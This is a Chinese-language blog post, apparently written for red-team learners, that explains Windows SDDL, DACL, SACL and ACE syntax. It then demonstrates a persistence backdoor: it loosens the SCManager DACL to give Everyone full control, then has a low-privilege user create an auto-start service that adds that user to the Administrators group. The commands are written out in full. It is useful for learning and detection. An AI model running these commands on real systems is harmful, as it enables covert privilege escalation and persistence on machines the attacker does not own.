广东住房和城乡建设厅网站造价,网络工程师难学吗,asp net做购物网站,如何选择企业建站公司写在最前
如果你是信息安全爱好者#xff0c;如果你想考一些证书来提升自己的能力#xff0c;那么欢迎大家来我的 Discord 频道 Northern Bay。邀请链接在这里#xff1a;
https://discord.gg/9XvvuFq9Wb我拥有 OSCP#xff0c;OSEP#xff0c;OSWE#xff0c;OSED如果你想考一些证书来提升自己的能力那么欢迎大家来我的 Discord 频道 Northern Bay。邀请链接在这里
https://discord.gg/9XvvuFq9Wb我拥有 OSCPOSEPOSWEOSEDOSCE3CRTOCRTPCRTEPNPTeCPPTv2eCPTXv2KLCPeJPT 证书。
所以我会提供任一证书备考过程中尽可能多的帮助并分享学习和实践过程中的资源和心得大家一起进步一起 NB~ 背景
看到 Grzegorz Tworek0gtweet的有关于 SDDL 后门利用的推文感觉非常新奇。所以花时间学习了一下 SDDL并且动手实践了一下 SCManager 的利用。
Windows 的访问控制或者就是权限管理让人摸不着头脑想象 Linux 真的是单纯又简单一会儿 SDDL一会儿 ACL一会儿 ACE一会儿 DACL一会儿 SACL一会儿安全描述符Security Descriptors这些都是什么东西。这篇文章我们一起浅析一下 Windows 访问控制Access Control。
其实不用被这么多术语所迷惑等我们接下来用实际的例子把 SDDL 解释一遍整个 Windows 访问控制就基本上清晰了。
在对 Windows SDDL 权限管理有一定的了解之后我们再一起看一下对于 SDDL 的后门利用。
Windows 访问控制列表Access Control List
定义
Windows 访问控制或者通常就叫权限是随处可见的。每一个文件每一个文件夹甚至每一个注册表的键值每一个服务都有各自的权限Permissions。
每个用户或者组对于一个文件的权限。 每个用户或者组对于一个文件夹的权限。 每个用户或者组对于一个注册表键值对的权限。 以上看到的内容就是 Windows 中一个用户或者组的 Access Control List访问控制列表。这是 GUI 上的样子那么我们深入到最底层Access Control List 又是什么样子的呢
我们来看一下用户或者组对于一个 Windows 服务的权限。
拿 Print Spooler 服务举例。
sc.exe sdshow Spooler这就是 Windows 访问控制列表的真实样子。以下红框中的内容就是本文要剖析的Windows SDDL 安全描述符定义语言。 看到这里想必大家会深深爱上 Linux
Access Control List访问控制列表是 Windows 整个权限系统的统称。如果有一个包含关系那么 Access Control List 就是外层最大的那一个圈包含着接下来讨论的所有概念。
Windows SDDL
定义
SDDLSecurity Descriptor Definition Language是 Windows 中以 字符串形式 来对一个对象的 安全描述符 做定义的语言。
安全描述符指的是一种可以表示一个对象的所有者O所属组G对不同主体用户组所开放的权限DACL以及系统审计规则SACL的数据结构。如下图。 字符串形式指的就是 安全描述符 的表现形式。
SDDL就是用来定义 安全描述符 的语言。 上图红框中过的字符串就是 Print Spooler 服务的 SDDL 定义。
SDDL 的格式
SDDL 的格式如下
O:owner_sid
G:group_sid
D:dacl_flags(string_ace_1)(string_ace_2)…(string_ace_n)
S:sacl_flags(string_ace_1)(string_ace_2)…(string_ace_n)如果 SDDL 以 D 开头代表着这条 SDDL 定义的是一条 DACL。
如果 SDDL 以 S 开头代表着这条 SDDL 定义的是一条 SACL。
DACL 和 SACL都包含着数量不等的 ACEstring_ace。
每一条 ACE都包含着 6 个以分号分隔的成员。我们之后会展开细说。
O 和 G 不常出现也不是我们的重点。
接下来我们就这里出现的几个新术语DACLACESACL一一做解释。
DACL
定义
DACL, Discretionary Access Control List中文译为 自由访问控制列表。其实有点不太准确。Discretionary翻译成 量化可能更为恰当。量化控制列表指的就是对于各个不同的主体我们分别给与了什么样的权限。
我们以 test-file.txt 文件的 SDDL 来举例说明。
cacls test-file.txt /SD:(A;;FA;;;SY)(A;;FA;;;BA)(A;;FA;;;S-1-5-21-1230430613-953561775-1632160640-1001)上一小节说过如果 SDDL 以字母 D 开头代表着这条 SDDL 定义的是一条 DACL。
我们接着看一下 DACL 包含什么内容。
ACE
定义
ACE 定义了一个主体对于另一个主体的具体权限。比如用一个用户对一个文件有读、写权限。这就是一条 ACE。
格式
DACL 包含着数量不等的 ACEstring_ace每一条 ACE由圆括号包裹。
之前提到了每一条 ACE 都包含着 6 个以分号分隔的成员。这些成员的信息如下 ACE type (allow/deny/audit);ACE flags (inheritance and audit settings);Permissions (list of incremental permissions); ObjectType (GUID);Inherited Object Type (GUID);Trustee (SID) 下图中每一个红框中代表的就是这个 DACL 中的 一条 ACE。 这个 DACL 共有 3 条 ACE这和 GUI 中的信息是如何对应的呢
这是 test-file.txt 的 Access Control List。 下图 DACL 中的三条 ACE就是上图红框中的三个主体以及绿框中的具体权限在 SDDL 中的体现。 那么这些 GUI 上的具体权限与 ACE 中的 6 个成员是如何对应的呢
这里就引出几张表大家一看就明白了。图片中列出了每一个成员的可能值以及解释。在图片之后我们将对几个 ACE 对应着表格做一个比对。
ACE 成员 1ACE Type ACE 成员 2ACE Flags ACE 成员 3Permissions ACE 成员 4Object Type 。如果存在会以 GUID 的形式出现。他将限制这条 ACE 只对该 GUID 代表的对象生效。通常不出现。
ACE 成员 5Inherited Object Type 。如果存在会以 GUID 的形式出现。他将限制对于这条 ACE 的继承只对该 GUID 代表的对象的子对象生效。通常不出现。
ACE 成员 6Trustee 我们参照图片来翻译一下第一条 ACE 的意思。 第一个条 ACE
(A;;FA;;;SY)解释
// ACE Type
A - Access Allowed该用户的被允许访问该文件// ACE Flags
空// Permissions
FA - File All Access该用户对这个文件有完全控制权增删改// Object Type
空// Inherited Object Type
空// Trustee
SY - 这条 ACE 被赋予 Local SystemLocal System 可以访问 test-file.txt并对该文件有完全控制权Full Control。
在 GUI 中验证一下。 没有问题。
其他的 ACE大家可以参照上面的图片自行翻译。
SACL
定义
SACLSystem Access Control List是用于 Windows 主体的被访问结果审计的。可以生成关于一个主体访问成功与否的日志。
作用
这个概念不是重点我们演示一下即带过。
为 test-file.txt 增加 SACL。
首先添加本地对象审计策略。
Local Security Policy - Local Policies - Audit Policy - Audit object access. 选择 SuccessFailure。点击 Apply 生效。 右键 test-file.txt选择 Advanced。 选择 Auditing。然后点击 Continue。 选择 Add。 选择 Select a principal 添加主体。 我们增加自己到 SACL。 在 Type 下拉框中选择要审计的访问结果。这里我们选择 Success 做演示。 最后选择 OK 完成 SACL 添加。
点击 Apply 使 SACL 生效。 然后打开 Event Viewer - Windows Logs - Security点击右侧 Filter Current Log…
增加 46634656 为过滤事件 ID。 打开一下 test-file.txt在 Event Viewer 中就可以看到被系统记录的日志信息。 接下来说重点。
在理解了 Windows Access Control 以及 SDDL 之后。我们看一下红队如何利用 SDDL 做后门。
Windows SDDL Backdoor “Admin rights is not the end, it’s just the beginning.” 拿到了 Admin 权限这在红队中只是个开始。做后门的功夫决定了权限维持的效果。
今天说了那么多就是要利用 Windows SDDL 做一个后门。
SCManager
我们之前说的Windows 中的每一个主体都有相应的访问控制列表。
这里的思路是修改这个主体的 SDDL让特定的主体对其有完全控制的权限。
候选人就是 SCManager。SCManager是服务相关的管理工具。服务的创建运行都依赖 SCManager。psexec 也是调用 SCManager 来启动服务的。
这里使用一个非 Admin 账户来演示整个过程。
SCManager Backdoor
首先我们看一下 SCManager 默认的访问控制设置。
ConvertFrom-SddlString -Sddl $(sc.exe sdshow scmanager | select -last 1) | select -Expand DiscretionaryAcl可以看到地权限的 Authenticated Users是只有 ListDirectory 权限的。意味着地权限用户是无法创建并运行一个服务。
我们验证一下。
添加一个低权限用户。 确认一下 SCManager 访问控制是默认配置。 我们尝试用地权限用户创建一个服务。
sc create goodsvc displayName goodsvc binPath C:\Windows\System32\notepad.exe start auto一巴掌直接糊连上告诉你你没有权限。
那么我们尝试修改一下 SCManager 的访问控制将其修改为 Everyone 都能有完全控制权限。
sc sdset scmanager D:(A;;KA;;;WD)对照附录的 ACE 成员表这个 ACE 的意思是
D: 这是一个 DACAL 定义A 允许访问KA 访问权限为 Key All AccessWD 访问权限被赋予 Everyone 组
意思是 Everyone 都能对 SCManager 的注册表值进行更改也就是能任意创建服务并以 System 身份运行。
为什么是注册表我们等下会看到创建的服务都在 HKLM\SYSTEM\CurrentControlSet\Services 键下面。
以下是设置结果注意这个命令需要 Admin 权限。
sc sdset scmanager D:(A;;KA;;;WD)查看一下现在 SCManager 的访问控制权限 SDDL。 Everyone 已经对 SCManager 有完全控制权限。
我们再次尝试用低权限账户创建一个服务。
sc create goodsvc displayName goodsvc binPath C:\Windows\System32\notepad.exe start auto成功创建服务。可以在注册表中找到新创建的服务。 我们可以创建服务但是是无权启动服务的。我们只能设置服务为自动启动那么等待用户重启电脑的时候就能执行后门程序。
我们尝试添加地权限用户到 Admin 组。
sc create goodsvc displayName goodsvc binPath C:\Windows\System32\net.exe localgroup Administrators woohoo /add start auto重启电脑。
shutdown /r /t 0重启之后用户在 Admin 组下。
就可以以 Admin 身份运行任意程序了。 总结
这篇文章对 Windows SDDL 做了简单的解释同时提供了一种 SDDL 的利用方式。
进攻方可以发散思维利用 SDDL 和 SCManager 做更加隐秘的权限维持。
防守方可以使用 Sigma 对 sdset SCManager 权限进行设置的行为进行检测。
另外在实践过程中发现虽然说可以创建服务但是对于注册表的 SDDL 中是不带 Key Delete 权限的。所以低权限用户是无法删除服务的。
因此操作要谨慎一旦创建只有 Admin 账户可以删除该服务。
以此文提供更多的红队思路。
附录
ACE 成员一览
ACE 成员 1ACE Type ACE 成员 2ACE Flags ACE 成员 3Permissions ACE 成员 4Object Type 。如果存在会以 GUID 的形式出现。他将限制这条 ACE 只对该 GUID 代表的对象生效。通常不出现。
ACE 成员 5Inherited Object Type 。如果存在会以 GUID 的形式出现。他将限制对于这条 ACE 的继承只对该 GUID 代表的对象的子对象生效。通常不出现。
ACE 成员 6Trustee 参考链接
https://learn.microsoft.com/en-us/archive/msdn-magazine/2008/november/access-control-understanding-windows-file-and-registry-permissionshttp://waynes-world-it.blogspot.com/2008/03/sddl-syntax-in-secedit-security.htmlhttps://itconnect.uw.edu/tools-services-support/it-systems-infrastructure/msinf/other-help/understanding-sddl-syntax/https://learn.microsoft.com/en-us/windows/win32/secauthz/access-control-listshttps://learn.microsoft.com/en-us/windows/win32/secauthz/security-identifiershttps://learn.microsoft.com/en-us/windows/win32/secauthz/security-descriptorshttps://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-azod/9baf9127-2ffb-4dda-aa45-0efcf409cee5#gt_c189801e-3752-4715-88f4-17804dad5782https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-azod/9baf9127-2ffb-4dda-aa45-0efcf409cee5#gt_d727f612-7a45-48e4-9d87-71735d62b321https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-azod/ec52bde3-9c86-4484-9080-e72148a2d53bhttps://www.installsetupconfig.com/win32programming/accesscontrollistacl1.htmlhttps://learn.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-workshttps://learn.microsoft.com/en-us/windows/security/identity-protection/access-control/access-controlhttps://www.winhelponline.com/blog/view-edit-service-permissions-windows/https://learn.microsoft.com/en-us/windows/win32/secauthz/security-descriptor-definition-languagehttps://learn.microsoft.com/en-us/windows/win32/secgloss/s-glyhttps://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/apply-a-basic-audit-policy-on-a-file-or-folderhttps://learn.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-treehttps://learn.microsoft.com/en-us/troubleshoot/windows-client/deployment/create-user-defined-service